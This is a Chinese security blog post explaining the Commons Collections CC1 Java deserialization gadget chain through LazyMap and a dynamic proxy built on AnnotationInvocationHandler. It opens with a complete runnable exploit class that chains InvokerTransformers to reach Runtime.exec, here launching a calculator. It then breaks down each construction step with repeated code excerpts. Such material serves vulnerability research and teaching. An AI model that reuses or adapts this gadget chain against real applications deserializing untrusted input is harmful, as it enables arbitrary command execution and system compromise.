CC1链除了 TransformedMap链之外,还存在 LazyMap链。LazyMap链的核心原理是 Java动态代理,前面 Blog已经详细分析,这里不做赘述。
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package org.kgty;
import javafx.beans.binding.ObjectExpression; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class EXP2 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class); annontationInvocationHandlerConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annontationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, h); Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Override.class, proxyMap); serialize(annotationInvocationHandler); deserialize(); }
public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize () throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectInputStream.readObject(); } }
|
EXP构造逻辑
1、依然是查找 InvokerTransformer.transform的用法,在 LazyMap.get方法中被调用:

factory在 LazyMap.decorate和构造函数中可控:

1 2
| HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
|
2、AnnotationInvocationHandler.invoke方法中调用了 memberValues.get方法,memberValues可控:

AnnotationInvocationHandler是一个调用处理器,配合 Java动态代理即可调用。
观察 invoke方法的前文逻辑,到达 get方法前需要对 method进行多次判断,即调用处理器对象调用的方法不为 equals、toString、hashCode、annotationType,且为无参方法。

3、AnnotationInvocationHandler.readObject中的 memberValues.entrySet符合条件,代理 Map接口调用 memberValues.entrySet就会触发 AnnotationInvocationHandler.invoke方法:

1 2 3 4 5 6 7 8
| Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class); annontationInvocationHandlerConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annontationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, h); Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Override.class, proxyMap); serialize(annotationInvocationHandler); deserialize();
|
CC1完整调用链流程图
